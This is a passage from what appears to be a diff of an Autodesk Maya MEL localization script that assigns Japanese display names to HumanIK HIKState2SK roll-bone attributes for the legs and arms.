"HIKState2SK", "LeafLeftLegRoll2PostRy", "左脚ロール 2 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PostRz", "左脚ロール 2 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2T", "右大腿部ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Tx", "右大腿部ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Ty", "右大腿部ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Tz", "右大腿部ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2R", "右大腿部ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Rx", "右大腿部ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Ry", "右大腿部ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Rz", "右大腿部ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2S", "右大腿部ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Sx", "右大腿部ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Sy", "右大腿部ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Sz", "右大腿部ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PGX", "右大腿部ロール 2 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", "右大腿部ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2SC", "右大腿部ロール 2 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2IS", "右大腿部ロール 2 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2ISx", "右大腿部ロール 2 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2ISy", "右大腿部ロール 2 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2ISz", "右大腿部ロール 2 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PreR", "右大腿部ロール 2 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PreRx", "右大腿部ロール 2 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PreRy", "右大腿部ロール 2 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PreRz", "右大腿部ロール 2 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PostR", "右大腿部ロール 2 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PostRx", "右大腿部ロール 2 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PostRy", "右大腿部ロール 2 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PostRz", "右大腿部ロール 2 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2T", "右脚ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Tx", "右脚ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Ty", "右脚ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Tz", "右脚ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2R", "右脚ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Rx", "右脚ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Ry", "右脚ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Rz", "右脚ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2S", "右脚ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Sx", "右脚ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Sy", "右脚ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Sz", "右脚ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PGX", "右脚ロール 2 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2ROrder", "右脚ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2SC", "右脚ロール 2 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2IS", "右脚ロール 2 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2ISx", "右脚ロール 2 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2ISy", "右脚ロール 2 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2ISz", "右脚ロール 2 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PreR", "右脚ロール 2 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PreRx", "右脚ロール 2 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PreRy", "右脚ロール 2 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PreRz", "右脚ロール 2 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PostR", "右脚ロール 2 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PostRx", "右脚ロール 2 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PostRy", "右脚ロール 2 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PostRz", "右脚ロール 2 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2T", "左腕ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Tx", "左腕ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Ty", "左腕ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Tz", "左腕ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2R", "左腕ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Rx", "左腕ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Ry", "左腕ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Rz", "左腕ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2S", "左腕ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Sx", "左腕ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Sy", "左腕ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Sz", "左腕ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PGX", "左腕のロール 2 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", "左腕ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2SC", "左腕ロール 2 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2IS", "左腕ロール 2 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2ISx", "左腕ロール 2 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2ISy", "左腕ロール 2 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2ISz", "左腕ロール 2 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PreR", "左腕ロール 2 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PreRx", "左腕ロール 2 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PreRy", "左腕ロール 2 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PreRz", "左腕ロール 2 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PostR", "左腕ロール 2 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PostRx", "左腕ロール 2 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PostRy", "左腕ロール 2 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PostRz", "左腕ロール 2 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2T", "左前腕ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Tx", "左前腕ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Ty", "左前腕ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Tz", "左前腕ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2R", "左前腕ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Rx", "左前腕ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Ry", "左前腕ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Rz", "左前腕ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2S", "左前腕ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Sx", "左前腕ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Sy", "左前腕ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Sz", "左前腕ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PGX", "左前腕ロール 2 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", "左前腕ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2SC", "左前腕ロール 2 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2IS", "左前腕ロール 2 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2ISx", "左前腕ロール 2 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2ISy", "左前腕ロール 2 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2ISz", "左前腕ロール 2 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PreR", "左前腕ロール 2 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PreRx", "左前腕ロール 2 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PreRy", "左前腕ロール 2 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PreRz", "左前腕ロール 2 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PostR", "左前腕ロール 2 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PostRx", "左前腕ロール 2 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PostRy", "左前腕ロール 2 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PostRz", "左前腕ロール 2 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2T", "右腕ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Tx", "右腕ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Ty", "右腕ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Tz", "右腕ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2R", "右腕ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Rx", "右腕ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Ry", "右腕ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Rz", "右腕ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2S", "右腕ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Sx", "右腕ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Sy", "右腕ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Sz", "右腕ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PGX", "右腕ロール 2 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2ROrder", "右腕ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2SC", "右腕ロール 2 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2IS", "右腕ロール 2 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2ISx", "右腕ロール 2 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2ISy", "右腕ロール 2 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2ISz", "右腕ロール 2 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PreR", "右腕ロール 2 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PreRx", "右腕ロール 2 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PreRy", "右腕ロール 2 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PreRz", "右腕ロール 2 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PostR", "右腕ロール 2 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PostRx", "右腕ロール 2 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PostRy", "右腕ロール 2 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PostRz", "右腕ロール 2 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2T", "右前腕ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Tx", "右前腕ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Ty", "右前腕ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Tz", "右前腕ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2R", "右前腕ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Rx", "右前腕ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Ry", "右前腕ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Rz", "右前腕ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2S", "右前腕ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Sx", "右前腕ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Sy", "右前腕ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Sz", "右前腕ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PGX", "右前腕ロール 2 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", "右前腕ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2SC", "右前腕ロール 2 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2IS", "右前腕ロール 2 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2ISx", "右前腕ロール 2 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2ISy", "右前腕ロール 2 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2ISz", "右前腕ロール 2 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PreR", "右前腕ロール 2 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PreRx", "右前腕ロール 2 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PreRy", "右前腕ロール 2 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PreRz", "右前腕ロール 2 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PostR", "右前腕ロール 2 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PostRx", "右前腕ロール 2 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PostRy", "右前腕ロール 2 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PostRz", "右前腕ロール 2 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3T", "左大腿部ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Tx", "左大腿部ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Ty", "左大腿部ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Tz", "左大腿部ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3R", "左大腿部ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Rx", "左大腿部ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Ry", "左大腿部ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Rz", "左大腿部ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3S", "左大腿部ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Sx", "左大腿部ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Sy", "左大腿部ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Sz", "左大腿部ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PGX", "左大腿部ロール 3 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", "左大腿部ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3SC", "左大腿部ロール 3 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3IS", "左大腿部ロール 3 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3ISx", "左大腿部ロール 3 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3ISy", "左大腿部ロール 3 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3ISz", "左大腿部ロール 3 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PreR", "左大腿部ロール 3 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PreRx", "左大腿部ロール 3 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PreRy", "左大腿部ロール 3 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PreRz", "左大腿部ロール 3 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PostR", "左大腿部ロール 3 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PostRx", "左大腿部ロール 3 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PostRy", "左大腿部ロール 3 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PostRz", "左大腿部ロール 3 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3T", "左脚ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Tx", "左脚ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Ty", "左脚ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Tz", "左脚ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3R", "左脚ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Rx", "左脚ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Ry", "左脚ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Rz", "左脚ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3S", "左脚ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Sx", "左脚ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Sy", "左脚ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Sz", "左脚ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PGX", "左脚ロール 3 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", "左脚ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3SC", "左脚ロール 3 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3IS", "左脚ロール 3 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3ISx", "左脚ロール 3 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3ISy", "左脚ロール 3 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3ISz", "左脚ロール 3 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PreR", "左脚ロール 3 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PreRx", "左脚ロール 3 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PreRy", "左脚ロール 3 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PreRz", "左脚ロール 3 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PostR", "左脚ロール 3 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PostRx", "左脚ロール 3 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PostRy", "左脚ロール 3 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PostRz", "左脚ロール 3 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3T", "右大腿部ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Tx", "右大腿部ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Ty", "右大腿部ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Tz", "右大腿部ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3R", "右大腿部ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Rx", "右大腿部ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Ry", "右大腿部ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Rz", "右大腿部ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3S", "右大腿部ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Sx", "右大腿部ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Sy", "右大腿部ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Sz", "右大腿部ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PGX", "右大腿部ロール 3 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", "右大腿部ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3SC", "右大腿部ロール 3 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3IS", "右大腿部ロール 3 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3ISx", "右大腿部ロール 3 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3ISy", "右大腿部ロール 3 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3ISz", "右大腿部ロール 3 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PreR", "右大腿部ロール 3 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PreRx", "右大腿部ロール 3 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PreRy", "右大腿部ロール 3 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PreRz", "右大腿部ロール 3 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PostR", "右大腿部ロール 3 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PostRx", "右大腿部ロール 3 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PostRy", "右大腿部ロール 3 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PostRz", "右大腿部ロール 3 のポスト Rz 可動部" ); 